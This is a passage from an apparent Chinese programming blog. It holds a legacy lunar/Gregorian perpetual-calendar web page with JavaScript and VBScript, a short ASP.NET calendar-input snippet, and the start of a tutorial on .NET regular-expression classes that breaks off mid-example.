<HTML><HEAD><TITLE>好123网址之家hao123.com万年历查询</TITLE>
<META
content="农历; 万年历; 月历; 节日; 时区; 节气; 八字; 干支; 生肖; gregorian solar; chinese lunar; calendar;"
name=keywords>
<META content=All name=robots>
<META content="gregorian solar calendar and chinese lunar calendar"
name=description>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>P {
 FONT-SIZE: 9pt; FONT-FAMILY: 宋体
}
TD {
 FONT-SIZE: 9pt; FONT-FAMILY: 宋体,simsun
}
A:link {
 COLOR: #000000; TEXT-DECORATION: none
}
A:visited {
 COLOR: #000000; TEXT-DECORATION: none
}
A:active {
 COLOR: green; TEXT-DECORATION: none
}
A:hover {
 COLOR: red; TEXT-DECORATION: underline
}
</STYLE>

<SCRIPT language=JavaScript>
<!--
/*****************************************************************************
                                   日期资料
*****************************************************************************/

var lunarInfo=new Array(
0x04bd8,0x04ae0,0x0a570,0x054d5,0x0d260,0x0d950,0x16554,0x056a0,0x09ad0,0x055d2,
0x04ae0,0x0a5b6,0x0a4d0,0x0d250,0x1d255,0x0b540,0x0d6a0,0x0ada2,0x095b0,0x14977,
0x04970,0x0a4b0,0x0b4b5,0x06a50,0x06d40,0x1ab54,0x02b60,0x09570,0x052f2,0x04970,
0x06566,0x0d4a0,0x0ea50,0x06e95,0x05ad0,0x02b60,0x186e3,0x092e0,0x1c8d7,0x0c950,
0x0d4a0,0x1d8a6,0x0b550,0x056a0,0x1a5b4,0x025d0,0x092d0,0x0d2b2,0x0a950,0x0b557,
0x06ca0,0x0b550,0x15355,0x04da0,0x0a5d0,0x14573,0x052d0,0x0a9a8,0x0e950,0x06aa0,
0x0aea6,0x0ab50,0x04b60,0x0aae4,0x0a570,0x05260,0x0f263,0x0d950,0x05b57,0x056a0,
0x096d0,0x04dd5,0x04ad0,0x0a4d0,0x0d4d4,0x0d250,0x0d558,0x0b540,0x0b5a0,0x195a6,
0x095b0,0x049b0,0x0a974,0x0a4b0,0x0b27a,0x06a50,0x06d40,0x0af46,0x0ab60,0x09570,
0x04af5,0x04970,0x064b0,0x074a3,0x0ea50,0x06b58,0x055c0,0x0ab60,0x096d5,0x092e0,
0x0c960,0x0d954,0x0d4a0,0x0da50,0x07552,0x056a0,0x0abb7,0x025d0,0x092d0,0x0cab5,
0x0a950,0x0b4a0,0x0baa4,0x0ad50,0x055d9,0x04ba0,0x0a5b0,0x15176,0x052b0,0x0a930,
0x07954,0x06aa0,0x0ad50,0x05b52,0x04b60,0x0a6e6,0x0a4e0,0x0d260,0x0ea65,0x0d530,
0x05aa0,0x076a3,0x096d0,0x04bd7,0x04ad0,0x0a4d0,0x1d0b6,0x0d250,0x0d520,0x0dd45,
0x0b5a0,0x056d0,0x055b2,0x049b0,0x0a577,0x0a4b0,0x0aa50,0x1b255,0x06d20,0x0ada0)

var solarMonth=new Array(31,28,31,30,31,30,31,31,30,31,30,31);
var Gan=new Array("甲","乙","丙","丁","戊","己","庚","辛","壬","癸");
var Zhi=new Array("子","丑","寅","卯","辰","巳","午","未","申","酉","戌","亥");
var Animals=new Array("鼠","牛","虎","兔","龙","蛇","马","羊","猴","鸡","狗","猪");
var solarTerm = new Array("小寒","大寒","立春","雨水","惊蛰","春分","清明","谷雨","立夏","小满","芒种","夏至","小暑","大暑","立秋","处暑","白露","秋分","寒露","霜降","立冬","小雪","大雪","冬至")
var sTermInfo = new Array(0,21208,42467,63836,85337,107014,128867,150921,173149,195551,218072,240693,263343,285989,308563,331033,353350,375494,397447,419210,440795,462224,483532,504758)
var nStr1 = new Array('日','一','二','三','四','五','六','七','八','九','十')
var nStr2 = new Array('初','十','廿','卅',' ')
var monthName = new Array("1 月","2 月","3 月","4 月","5 月","6 月","7 月","8 月","9 月","10 月","11 月","12 月");

//国历节日 *表示放假日
var sFtv = new Array(
"0101*元旦",
"0214 情人节",
"0308 妇女节",
"0312 植树节",
"0315 消费者权益日",
"0401 愚人节",
"0419 进BYD日",
"0501 劳动节",
"0504 青年节",
"0512 护士节",
"0601 儿童节",
"0701 建党节",
"0801 建军节",
"0808 父亲节",
"0909 ***逝世纪念",
"0910 教师节",
"0928 孔子诞辰",
"1001*国庆节",
"1006 老人节",
"1024 联合国日",
"1112 孙中山诞辰",
"1220 澳门回归",
"1225 圣诞节",
"1226 ***诞辰")

//农历节日 *表示放假日
var lFtv = new Array(
"0101*农历春节",
"0115 元宵节",
"0505 端午节",
"0707 七夕情人节",
"0815 中秋节",
"0909 重阳节",
"1208 腊八节",
"1224 小年",
"0100*除夕")

//某月的第几个星期几
var wFtv = new Array(
"0520 母亲节")

/*****************************************************************************
                                      日期计算
*****************************************************************************/

//====================================== 传回农历 y年的总天数
function lYearDays(y) {
   var i, sum = 348
   for(i=0x8000; i>0x8; i>>=1) sum += (lunarInfo[y-1900] & i)? 1: 0
   return(sum+leapDays(y))
}

//====================================== 传回农历 y年闰月的天数
function leapDays(y) {
   if(leapMonth(y))  return((lunarInfo[y-1900] & 0x10000)? 30: 29)
   else return(0)
}

//====================================== 传回农历 y年闰哪个月 1-12 , 没闰传回 0
function leapMonth(y) {
   return(lunarInfo[y-1900] & 0xf)
}

//====================================== 传回农历 y年m月的总天数
function monthDays(y,m) {
   return( (lunarInfo[y-1900] & (0x10000>>m))? 30: 29 )
}

//====================================== 算出农历, 传入日期物件, 传回农历日期物件
//                                       该物件属性有 .year .month .day .isLeap .yearCyl .dayCyl .monCyl
function Lunar(objDate) {

   var i, leap=0, temp=0
   var baseDate = new Date(1900,0,31)
   var offset   = (objDate - baseDate)/86400000

   this.dayCyl = offset + 40
   this.monCyl = 14

   for(i=1900; i<2050 && offset>0; i++) {
      temp = lYearDays(i)
      offset -= temp
      this.monCyl += 12
   }

   if(offset<0) {
      offset += temp;
      i--;
      this.monCyl -= 12
   }

   this.year = i
   this.yearCyl = i-1864

   leap = leapMonth(i) //闰哪个月
   this.isLeap = false

   for(i=1; i<13 && offset>0; i++) {
      //闰月
      if(leap>0 && i==(leap+1) && this.isLeap==false)
         { --i; this.isLeap = true; temp = leapDays(this.year); }
      else
         { temp = monthDays(this.year, i); }

      //解除闰月
      if(this.isLeap==true && i==(leap+1)) this.isLeap = false

      offset -= temp
      if(this.isLeap == false) this.monCyl ++
   }

   if(offset==0 && leap>0 && i==leap+1)
      if(this.isLeap)
         { this.isLeap = false; }
      else
         { this.isLeap = true; --i; --this.monCyl;}

   if(offset<0){ offset += temp; --i; --this.monCyl; }

   this.month = i
   this.day = offset + 1
}

//==============================传回国历 y年某m+1月的天数
function solarDays(y,m) {
   if(m==1)
      return(((y%4 == 0) && (y%100 != 0) || (y%400 == 0))? 29: 28)
   else
      return(solarMonth[m])
}
//============================== 传入 offset 传回干支, 0=甲子
function cyclical(num) {
   return(Gan[num%10]+Zhi[num%12])
}

//============================== 月历属性
function calElement(sYear,sMonth,sDay,week,lYear,lMonth,lDay,isLeap,cYear,cMonth,cDay) {

      this.isToday    = false;
      //国历
      this.sYear      = sYear;
      this.sMonth     = sMonth;
      this.sDay       = sDay;
      this.week       = week;
      //农历
      this.lYear      = lYear;
      this.lMonth     = lMonth;
      this.lDay       = lDay;
      this.isLeap     = isLeap;
      //干支
      this.cYear      = cYear;
      this.cMonth     = cMonth;
      this.cDay       = cDay;

      this.color      = '';

      this.lunarFestival = ''; //农历节日
      this.solarFestival = ''; //国历节日
      this.solarTerms    = ''; //节气

}

//===== 某年的第n个节气为几日(从0小寒起算)
function sTerm(y,n) {
   var offDate = new Date( ( 31556925974.7*(y-1900) + sTermInfo[n]*60000  ) + Date.UTC(1900,0,6,2,5) )
   return(offDate.getUTCDate())
}

//============================== 传回月历物件 (y年,m+1月)
function calendar(y,m) {

   var sDObj, lDObj, lY, lM, lD=1, lL, lX=0, tmp1, tmp2
   var lDPOS = new Array(3)
   var n = 0
   var firstLM = 0

   sDObj = new Date(y,m,1)            //当月一日日期

   this.length    = solarDays(y,m)    //国历当月天数
   this.firstWeek = sDObj.getDay()    //国历当月1日星期几


   for(var i=0;i<this.length;i++) {

      if(lD>lX) {
         sDObj = new Date(y,m,i+1)    //当月一日日期
         lDObj = new Lunar(sDObj)     //农历
         lY    = lDObj.year           //农历年
         lM    = lDObj.month          //农历月
         lD    = lDObj.day            //农历日
         lL    = lDObj.isLeap         //农历是否闰月
         lX    = lL? leapDays(lY): monthDays(lY,lM) //农历当月最後一天

         if(n==0) firstLM = lM
         lDPOS[n++] = i-lD+1
      }

      //sYear,sMonth,sDay,week,
      //lYear,lMonth,lDay,isLeap,
      //cYear,cMonth,cDay
      this[i] = new calElement(y, m+1, i+1, nStr1[(i+this.firstWeek)%7],
                               lY, lM, lD++, lL,
                               cyclical(lDObj.yearCyl) ,cyclical(lDObj.monCyl), cyclical(lDObj.dayCyl++) )


      if((i+this.firstWeek)%7==0)   this[i].color = 'red'  //周日颜色
      if((i+this.firstWeek)%14==13) this[i].color = 'red'  //周休二日颜色
   }

   //节气
   tmp1=sTerm(y,m*2  )-1
   tmp2=sTerm(y,m*2+1)-1
   this[tmp1].solarTerms = solarTerm[m*2]
   this[tmp2].solarTerms = solarTerm[m*2+1]
   if(m==3) this[tmp1].color = 'red' //清明颜色

   //国历节日
   for(i in sFtv)
      if(sFtv[i].match(/^(\d{2})(\d{2})([\s\*])(.+)$/))
         if(Number(RegExp.$1)==(m+1)) {
            this[Number(RegExp.$2)-1].solarFestival += RegExp.$4 + ' '
            if(RegExp.$3=='*') this[Number(RegExp.$2)-1].color = 'red'
         }

   //月周节日
   for(i in wFtv)
      if(wFtv[i].match(/^(\d{2})(\d)(\d)([\s\*])(.+)$/))
         if(Number(RegExp.$1)==(m+1)) {
            tmp1=Number(RegExp.$2)
            tmp2=Number(RegExp.$3)
            this[((this.firstWeek>tmp2)?7:0) + 7*(tmp1-1) + tmp2 - this.firstWeek].solarFestival += RegExp.$5 + ' '
         }

   //农历节日
   for(i in lFtv)
      if(lFtv[i].match(/^(\d{2})(.{2})([\s\*])(.+)$/)) {
         tmp1=Number(RegExp.$1)-firstLM
         if(tmp1==-11) tmp1=1
         if(tmp1 >=0 && tmp1<n) {
            tmp2 = lDPOS[tmp1] + Number(RegExp.$2) -1
            if( tmp2 >= 0 && tmp2<this.length) {
               this[tmp2].lunarFestival += RegExp.$4 + ' '
               if(RegExp.$3=='*') this[tmp2].color = 'red'
            }
         }
      }

   //黑色星期五
   if((this.firstWeek+12)%7==5)
      this[12].solarFestival += '黑色星期五 '

   //今日
   if(y==tY && m==tM) this[tD-1].isToday = true;

}

//====================== 中文日期
function cDay(d){
   var s;

   switch (d) {
      case 10:
         s = '初十'; break;
      case 20:
         s = '二十'; break;
         break;
      case 30:
         s = '三十'; break;
         break;
      default :
         s = nStr2[Math.floor(d/10)];
         s += nStr1[d%10];
   }
   return(s);
}

///////////////////////////////////////////////////////////////////////////////

var cld;

function drawCld(SY,SM) {
   var i,sD,s,size;
   cld = new calendar(SY,SM);

   if(SY>1874 && SY<1909) yDisplay = '光绪' + (((SY-1874)==1)?'元':SY-1874)+'年'
   if(SY>1908 && SY<1912) yDisplay = '宣统' + (((SY-1908)==1)?'元':SY-1908)+'年'
   if(SY>1911 && SY<1950) yDisplay = '民国' + (((SY-1911)==1)?'元':SY-1911)+'年'
   if(SY>1949) yDisplay = ' '
  
  

   GZ.innerHTML = yDisplay +' 农历' + cyclical(SY-1900+36) + '年 &nbsp;&nbsp;【'+Animals[(SY-4)%12]+'】';

   YMBG.innerHTML = "&nbsp;" + SY + "<BR>&nbsp;" + monthName[SM];


   for(i=0;i<42;i++) {

      sObj=eval('SD'+ i);
      lObj=eval('LD'+ i);

      sObj.className = '';

      sD = i - cld.firstWeek;

      if(sD>-1 && sD<cld.length) { //日期内
         sObj.innerHTML = sD+1;

         if(cld[sD].isToday) sObj.className = 'todyaColor'; //今日颜色

         sObj.style.color = cld[sD].color; //国定假日颜色

         if(cld[sD].lDay==1) //显示农历月
            lObj.innerHTML = '<b>'+(cld[sD].isLeap?'闰':'') + cld[sD].lMonth + '月' + (monthDays(cld[sD].lYear,cld[sD].lMonth)==29?'小':'大')+'</b>';
         else //显示农历日
            lObj.innerHTML = cDay(cld[sD].lDay);

         s=cld[sD].lunarFestival;
         if(s.length>0) { //农历节日
            if(s.length>6) s = s.substr(0, 4)+'…';
            s = s.fontcolor('red');
         }
         else { //国历节日
            s=cld[sD].solarFestival;
            if(s.length>0) {
               size = (s.charCodeAt(0)>0 && s.charCodeAt(0)<128)?8:4;
               if(s.length>size+2) s = s.substr(0, size)+'…';
               s = s.fontcolor('blue');
            }
            else { //廿四节气
               s=cld[sD].solarTerms;
               if(s.length>0) s = s.fontcolor('limegreen');
            }
         }
         if(s.length>0) lObj.innerHTML = s;

      }
      else { //非日期
         sObj.innerHTML = '';
         lObj.innerHTML = '';
      }
   }
}


function changeCld() {
   var y,m;
   y=CLD.SY.selectedIndex+1900;
   m=CLD.SM.selectedIndex;
   drawCld(y,m);
}

function pushBtm(K) {
   switch (K){
      case 'YU' :
         if(CLD.SY.selectedIndex>0) CLD.SY.selectedIndex--;
         break;
      case 'YD' :
         if(CLD.SY.selectedIndex<149) CLD.SY.selectedIndex++;
         break;
      case 'MU' :
         if(CLD.SM.selectedIndex>0) {
            CLD.SM.selectedIndex--;
         }
         else {
            CLD.SM.selectedIndex=11;
            if(CLD.SY.selectedIndex>0) CLD.SY.selectedIndex--;
         }
         break;
      case 'MD' :
         if(CLD.SM.selectedIndex<11) {
            CLD.SM.selectedIndex++;
         }
         else {
            CLD.SM.selectedIndex=0;
            if(CLD.SY.selectedIndex<149) CLD.SY.selectedIndex++;
         }
         break;
      default :
         CLD.SY.selectedIndex=tY-1900;
         CLD.SM.selectedIndex=tM;
   }
   changeCld();
}

 

var Today = new Date();
var tY = Today.getFullYear();
var tM = Today.getMonth();
var tD = Today.getDate();
//////////////////////////////////////////////////////////////////////////////

var width = "130";
var offsetx = 2;
var offsety = 16;

var x = 135;
var y = 260;
var snow = 0;
var sw = 0;
var cnt = 0;

var dStyle;
//document.onmousemove = mEvn;

//显示详细日期资料
function mOvr(v) {
   var s,festival;
   var sObj=eval('SD'+ v);
   var d=sObj.innerHTML-1;

      //sYear,sMonth,sDay,week,
      //lYear,lMonth,lDay,isLeap,
      //cYear,cMonth,cDay

   if(sObj.innerHTML!='') {

      //sObj.style.cursor = 's-resize';   //s-resize

      if(cld[d].solarTerms == '' && cld[d].solarFestival == '' && cld[d].lunarFestival == '')
         festival = '';
      else
         festival = '<TABLE WIDTH=100% BORDER=0 CELLPADDING=2 CELLSPACING=0 BGCOLOR="#CCFFCC"><TR><TD>'+
         '<FONT COLOR="#000000" STYLE="font-size:9pt;">'+cld[d].solarTerms + ' ' + cld[d].solarFestival + ' ' + cld[d].lunarFestival+'</FONT></TD>'+
         '</TR></TABLE>';

      s= '<TABLE WIDTH="130" BORDER=0 CELLPADDING="2" CELLSPACING=0 BGCOLOR="#000066"><TR><TD>' +
         '<TABLE WIDTH=100% BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD ALIGN="right"><FONT COLOR="#ffffff" STYLE="font-size:9pt;">'+
         cld[d].sYear+' 年 '+cld[d].sMonth+' 月 '+cld[d].sDay+' 日<br>星期'+cld[d].week+'<br>'+
         '<font color="violet">农历'+(cld[d].isLeap?'闰 ':' ')+cld[d].lMonth+' 月 '+cld[d].lDay+' 日</font><br>'+
         '<font color="yellow">'+cld[d].cYear+'年 '+cld[d].cMonth+'月 '+cld[d].cDay + '日</font>'+
         '</FONT></TD></TR></TABLE>'+ festival +'</TD></TR></TABLE>';


      document.all["detail"].innerHTML = s;

    if (snow == 0) {
         dStyle.left = x+offsetx-(width/2);
         dStyle.top = y+offsety;
     dStyle.visibility = "visible";
     snow = 1;
    }
 }
}

//清除详细日期资料
function mOut() {  }

//取得位置
function mEvn() {
   x=event.x;
   y=event.y;
 if (document.body.scrollLeft)
    {x=event.x+document.body.scrollLeft; y=event.y+document.body.scrollTop;}
 if (snow){
      dStyle.left = x+offsetx-(width/2)
      dStyle.top = y+offsety
 }
}

///////////////////////////////////////////////////////////////////////////

function changeTZ() {
   CITY.innerHTML = CLD.TZ.value.substr(6)
   setCookie("TZ",CLD.TZ.selectedIndex)
}

function tick() {
   var today
   today = new Date()
   Clock.innerHTML = today.toLocaleString().replace(/(年|月)/g, "/").replace(/日/, "");
   Clock.innerHTML = TimeAdd(today.toGMTString(), CLD.TZ.value)
   window.setTimeout("tick()", 1000);
}

function setCookie(name, value) {
 var today = new Date()
 var expires = new Date()
 expires.setTime(today.getTime() + 1000*60*60*24*365)
 document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString()
}

function getCookie(Name) {
   var search = Name + "="
   if(document.cookie.length > 0) {
      offset = document.cookie.indexOf(search)
      if(offset != -1) {
         offset += search.length
         end = document.cookie.indexOf(";", offset)
         if(end == -1) end = document.cookie.length
         return unescape(document.cookie.substring(offset, end))
      }
      else return ""
   }
}

/////////////////////////////////////////////////////////

function initial() {
   dStyle = detail.style;
   CLD.SY.selectedIndex=tY-1900;
   CLD.SM.selectedIndex=tM;
   drawCld(tY,tM);

   CLD.TZ.selectedIndex=getCookie("TZ");
   changeTZ();
   tick();
}

 

//-->
</SCRIPT>

<SCRIPT language=VBScript>
<!--
'===== 算世界时间
Function TimeAdd(UTC,T)
   Dim PlusMinus, DST, y
   If Left(T,1)="-" Then PlusMinus = -1 Else PlusMinus = 1
   UTC=Right(UTC,Len(UTC)-5)
   UTC=Left(UTC,Len(UTC)-4)
   y = Year(UTC)
   TimeAdd=DateAdd("n", (Cint(Mid(T,2,2))*60 + Cint(Mid(T,4,2))) * PlusMinus, UTC)
   '美国日光节约期间: 4月第一个星日00:00 至 10月最後一个星期日00:00
   If Mid(T,6,1)="*" And DateSerial(y,4,(9 - Weekday(DateSerial(y,4,1)) mod 7) ) <= TimeAdd And DateSerial(y,10,31 - Weekday(DateSerial(y,10,31))) >= TimeAdd Then
      TimeAdd=CStr(DateAdd("h", 1, TimeAdd))
      tSave.innerHTML = "R"
   Else
      tSave.innerHTML = ""
   End If
   TimeAdd = CStr(TimeAdd)
End Function
'-->
</SCRIPT>

<STYLE>.todyaColor {
 BACKGROUND-COLOR: aqua
}
</STYLE>

<META content="MSHTML 6.00.3790.373" name=GENERATOR></HEAD>
<BODY onload=initial()>
<P align=center>
  <SCRIPT language=JavaScript><!--
   if(navigator.appName == "Netscape" || parseInt(navigator.appVersion) < 4)
   document.write("<h1>你的浏览器无法执行此程序。</h1>此程序在 IE4 以后的版本才能执行!!")
//--></SCRIPT>
</P>
<DIV id=detail style="POSITION: absolute"></DIV>
<CENTER>
<FORM name=CLD>
<TABLE>
  <TBODY>
  <TR>
    <TD vAlign=top align=center><FONT color=#ff6633 size=3>
      <SCRIPT language=JavaScript>
var enabled = 0; today = new Date();
var day; var date;
if(today.getDay()==0) day = "星期日"
if(today.getDay()==1) day = "星期一"
if(today.getDay()==2) day = "星期二"
if(today.getDay()==3) day = "星期三"
if(today.getDay()==4) day = "星期四"
if(today.getDay()==5) day = "星期五"
if(today.getDay()==6) day = "星期六"
document.fgColor = "000000";

</SCRIPT>
      </FONT><BR><FONT style="FONT-SIZE: 9pt" size=2>当地时间:</FONT><BR><FONT
      id=Clock face=Arial color=#000080 size=4 align="center"></FONT>
      <P><!--时区 *表示自动调整为日光节约时间--><FONT style="FONT-SIZE: 9pt" size=2><SELECT
      style="FONT-SIZE: 9pt" onchange=changeTZ() name=TZ> <OPTION
        value="-1200 安尼威土克、瓜甲兰" selected>国际换日线<OPTION
        value="-1100 中途岛、萨摩亚群岛">萨摩亚<OPTION value="-1000 夏威夷">夏威夷<OPTION
        value=-0900*阿拉斯加>阿拉斯加<OPTION value=-0800*太平洋时间(美加)、提亚纳>太平洋<OPTION
        value="-0700 亚历桑那">美国山区<OPTION value=-0700*山区时间(美加)>美加山区<OPTION
        value=-0600*萨克其万(加拿大)>加拿大中部<OPTION value=-0600*墨西哥市、塔克西卡帕>墨西哥<OPTION
        value=-0600*中部时间(美加)>美加中部<OPTION value=-0500*波哥大、里玛>南美洲太平洋<OPTION
        value=-0500*东部时间(美加)>美加东部<OPTION value=-0500*印第安纳(东部)>美东<OPTION
        value=-0400*加拉卡斯、拉帕兹>南美洲西部<OPTION value="-0400*大西洋时间 加拿大)">大西洋<OPTION
        value="-0330 新岛(加拿大东岸)">纽芬兰<OPTION value="-0300 波西尼亚">东南美洲<OPTION
        value="-0300 布鲁诺斯爱丽斯、乔治城">南美洲东部<OPTION value=-0200*大西洋中部>大西洋中部<OPTION
        value=-0100*亚速尔群岛、维德角群岛>亚速尔<OPTION
        value="+0000 格林威治时间、都柏林、爱丁堡、伦敦">英国夏令<OPTION
        value="+0000 莫洛维亚(赖比瑞亚)、卡萨布兰卡">格林威治标准<OPTION
        value="+0100 巴黎、马德里">罗马<OPTION value="+0100 布拉格, 华沙, 布达佩斯">中欧<OPTION
        value="+0100 柏林、斯德哥尔摩、罗马、伯恩、布鲁赛尔、维也纳">西欧<OPTION
        value="+0200 以色列">以色列<OPTION value=+0200*东欧>东欧<OPTION
        value=+0200*开罗>埃及<OPTION value=+0200*雅典、赫尔辛基、伊斯坦堡>GFT<OPTION
        value=+0200*赫拉雷、皮托里>南非<OPTION
        value=+0300*巴格达、科威特、奈洛比(肯亚)、里雅德(沙乌地)>沙乌地阿拉伯<OPTION
        value=+0300*莫斯科、圣彼得堡、贺占、窝瓦格瑞德>俄罗斯<OPTION value=+0330*德黑兰>伊朗<OPTION
        value=+0400*阿布达比(东阿拉伯)、莫斯凯、塔布理斯(乔治亚共和)>阿拉伯<OPTION
        value=+0430*喀布尔>阿富汗<OPTION value="+0500 伊斯兰马巴德、克洛奇、伊卡特林堡、塔须肯">西亚<OPTION
        value="+0530 孟买、加尔各答、马垂斯、新德里、可伦坡">印度<OPTION
        value="+0600 阿马提、达卡">中亚<OPTION value="+0700 曼谷、亚加达、胡志明市">曼谷<OPTION
        value="+0800 北京、重庆、黑龙江">中国<OPTION value="+0800 台湾、香港、新加坡">台北<OPTION
        value="+0900 东京、大阪、扎幌、汉城、亚库兹(东西伯利亚)">东京<OPTION
        value="+0930 达尔文">澳洲中部<OPTION value="+1000 布里斯本、墨尔本、席德尼">席德尼<OPTION
        value="+1000 霍巴特">塔斯梅尼亚<OPTION value="+1000 关岛、莫斯比港、海 威">西太平洋<OPTION
        value=+1100*马哥大、所罗门群岛、新卡伦多尼亚>太平洋中部<OPTION
        value="+1200 威灵顿、奥克兰">纽西兰<OPTION
      value="+1200 斐济、肯加塔、马歇尔群岛">斐济</OPTION></SELECT> 时间</FONT> <FONT id=tSave
      style="FONT-SIZE: 18pt; COLOR: red; FONT-FAMILY: Wingdings"></FONT><BR><BR><FONT
      style="FONT-SIZE: 50pt; COLOR: green; FONT-FAMILY: Webdings">&ucirc;</FONT><BR><FONT
      id=CITY
      style="FONT-SIZE: 9pt; WIDTH: 150px; COLOR: blue; FONT-FAMILY: '宋体'"></FONT></P></TD>
    <TD align=center>
      <DIV style="Z-INDEX: -1; POSITION: absolute; TOP: 30px"><FONT id=YMBG
      style="FONT-SIZE: 100pt; COLOR: #f0f0f0; FONT-FAMILY: 'Arial Black'">&nbsp;0000<BR>&nbsp;JUN</FONT>
      </DIV>
      <TABLE border=0>
        <TBODY>
        <TR>
          <TD bgColor=#000080 colSpan=7><FONT style="FONT-SIZE: 9pt"
            color=#ffffff size=2>西历<SELECT style="FONT-SIZE: 9pt"
            onchange=changeCld() name=SY>
              <SCRIPT language=JavaScript><!--
            for(i=1900;i<2050;i++) document.write('<option>'+i)
            //--></SCRIPT>
            </SELECT>年<SELECT style="FONT-SIZE: 9pt" onchange=changeCld()
            name=SM>
              <SCRIPT language=JavaScript><!--
            for(i=1;i<13;i++) document.write('<option>'+i)
            //--></SCRIPT>
            </SELECT>月</FONT> <FONT id=GZ face=宋体 color=#ffffff
            size=4></FONT><BR></TD></TR>
        <TR align=center bgColor=#e0e0e0>
          <TD width=54>日</TD>
          <TD width=54>一</TD>
          <TD width=54>二</TD>
          <TD width=50>三</TD>
          <TD width=54>四</TD>
          <TD width=54>五</TD>
          <TD width=54>六</TD></TR>
        <SCRIPT language=JavaScript><!--
            var gNum
            for(i=0;i<6;i++) {
               document.write('<tr align=center>')
               for(j=0;j<7;j++) {
                  gNum = i*7+j
                  document.write('<td id="GD' + gNum +'" onMouseOver="mOvr(' + gNum +')" onMouseOut="mOut()"><font id="SD' + gNum +'" size=5 face="Arial Black"')
                  if(j == 0) document.write(' color=red')
                  if(j == 6)
                     if(i%2==1) document.write(' color=red')
                        else document.write(' color=green')
                  document.write(' TITLE=""> </font><br><font id="LD' + gNum + '" size=2 style="font-size:9pt"> </font></td>')
               }
               document.write('</tr>')
            }
            //--></SCRIPT>
        </TBODY></TABLE></TD>
    <TD vAlign=top align=center width=60><BR><BR><BR><BR><BUTTON
      style="FONT-SIZE: 9pt" onClick="pushBtm('YU')">年↑</BUTTON><BR><BUTTON
      style="FONT-SIZE: 9pt" onClick="pushBtm('YD')">年↓</BUTTON>
      <P><BUTTON style="FONT-SIZE: 9pt"
      onclick="pushBtm('MU')">月↑</BUTTON><BR><BUTTON style="FONT-SIZE: 9pt"
      onclick="pushBtm('MD')">月↓</BUTTON>
      <P><BUTTON style="FONT-SIZE: 9pt" onClick="pushBtm('')">当月</BUTTON>
  </P></TD></TR></TBODY></TABLE></FORM></CENTER>
<HR>

<P align=center>&nbsp;</P>
<BR></BODY></HTML>

posted @ 2008-06-13 14:15 庞滨 阅读(186) 评论(0) 编辑

    <script type="text/javascript" charset="gb2312" src="../util/Calendar.js">function TABLE1_onclick() {

}

    
</script>
<tr>
                                
<td style="width: 981px; height: 15px;">
                                    
<span class="style1">闲置时间:</span></td>
                                
<td style="width: 155px; height: 15px;">
                                    
<input id="TxtImportDatetime" runat="server" onclick="calendar()" />
                                
</td>
                                
<td style="width: 23px; height: 15px;">
                                
</td>
                            
</tr>

posted @ 2008-06-13 14:08 庞滨 阅读(96) 评论(0) 编辑

1、正则表达式简介
  正则表达式提供了功能强大、灵活而又高效的方法来处理文本。正则表达式的全面模式匹配表示法可以快速地分析大量的文本以找到特定的字符模式;提取、编辑、替换或删除文本子字符串;或将提取的字符串添加到集合以生成报告。对于处理字符串(例如 HTML 处理、日志文件分析和 HTTP 标头分析)的许多应用程序而言,正则表达式是不可缺少的工具。
  .NET 框架正则表达式并入了其他正则表达式实现的最常见功能,被设计为与 Perl 5 正则表达式兼容,.NET 框架正则表达式还包括一些在其他实现中尚未提供的功能,.NET 框架正则表达式类是基类库的一部分,并且可以和面向公共语言运行库的任何语言或工具一起使用。

  2、字符串搜索

  正则表达式语言由两种基本字符类型组成:原义(正常)文本字符和元字符。正是元字符组为正则表达式提供了处理能力。当前,所有的文本编辑器都有一些搜索功能,通常可以打开一个对话框,在其中的一个文本框中键入要定位的字符串,如果还要同时进行替换操作,可以键入一个替换字符串,比如在Windows操作系统中的记事本、Office系列中的文档编辑器都有这种功能。这种搜索最简单的方式,这类问题很容易用String类的String.Replace()方法来解决,但如果需要在文档中识别某个重复的,该怎么办?编写一个例程,从一个String类中选择重复的字是比较复杂的,此时使用语言就很适合。

  一般表达式语言是一种可以编写搜索表达式的语言。在该语言中,可以把文档中要搜索的文本、转义序列和特定含义的其他字符组合在一起,例如序列\b表示一个字的开头和结尾(子的边界),如果要表示正在查找的以字符th开头的字,就可以编写一般表达式\bth(即序列字符界是-t-h)。如果要搜索所有以th结尾的字,就可以编写th\b(序列t-h-字边界)。但是,一般表达式要比这复杂得多,例如,可以在搜索操作中找到存储部分文本的工具性程序(facility)。

  3、.NET 框架的正则表达式类

  下面通过介绍 .NET 框架的正则表达式类,熟悉一下.NET框架下的正则表达式的使用方法。

  3.1 Regex 类表示只读正则表达式

  Regex 类包含各种静态方法,允许在不显式实例化其他类的对象的情况下使用其他正则表达式类。以下代码示例创建了 Regex 类的实例并在初始化对象时定义一个简单的正则表达式。请注意,使用了附加的反斜杠作为转义字符,它将 \s 匹配字符类中的反斜杠指定为原义字符。

Regex r; // 声明一个 Regex类的变量
r = new Regex("\\s2000"); // 定义表达式
  3.2 Match 类表示正则表达式匹配操作的结果

  以下示例使用 Regex 类的 Match 方法返回 Match 类型的对象,以便找到输入字符串中第一个匹配。此示例使用 Match 类的 Match.Success 属性来指示是否已找到匹配。

Regex r = new Regex("abc"); // 定义一个Regex对象实例
Match m = r.Match("123abc456"); // 在字符串中匹配
if (m.Success)
{
 Console.WriteLine("Found match at position " + m.Index); //输入匹配字符的位置
}
  3.3 MatchCollection 类表示非重叠匹配的序列

  该集合为只读的,并且没有公共构造函数。MatchCollection 的实例是由 Regex.Matches 属性返回的。使用 Regex 类的 Matches 方法,通过在输入字符串中找到的所有匹配填充 MatchCollection。下面代码示例演示了如何将集合复制到一个字符串数组(保留每一匹配)和一个整数数组(指示每一匹配的位置)中。

MatchCollection mc;
String[] results = new String[20];
int[] matchposition = new int[20];
Regex r = new Regex("abc"); //定义一个Regex对象实例
mc = r.Matches("123abc4abcd");
for (int i = 0; i < mc.Count; i++) //在输入字符串中找到所有匹配
{
 results[i] = mc[i].Value; //将匹配的字符串添在字符串数组中
 matchposition[i] = mc[i].Index; //记录匹配字符的位置
}
  3.4 GroupCollection 类表示捕获的组的集合

  该集合为只读的,并且没有公共构造函数。GroupCollection 的实例在 Match.Groups 属性返回的集合中返回。下面的控制台应用程序查找并输出由正则表达式捕获的组的数目。

using System;
using System.Text.RegularExpressions;
public class RegexTest
{
 public static void RunTest()
 {
  Regex r = new Regex("(a(b))c"); //定义组
  Match m = r.Match("abdabc");
  Console.WriteLine("Number of groups found = " + m.Groups.Count);
 }
 public static void Main()
